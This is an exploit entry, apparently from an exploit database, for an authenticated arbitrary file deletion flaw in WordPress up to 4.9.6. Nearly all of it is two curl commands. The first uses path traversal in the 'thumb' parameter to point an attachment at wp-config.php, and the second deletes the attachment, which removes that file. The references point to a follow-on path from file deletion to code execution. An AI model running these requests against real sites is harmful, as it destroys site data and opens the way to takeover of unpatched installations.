WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion

# Exploit Title: Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability
# Date: 2018-06-27
# Exploit Author: VulnSpy
# Vendor Homepage: http://www.wordpress.org
# Software Link: http://www.wordpress.org/download
# Version: <= 4.9.6
# Tested on: php7 mysql5
# CVE :

Step 1:

```
curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'
```

Step 2:

```
curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'
```

REF:
  Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability Exploit - http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
  WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/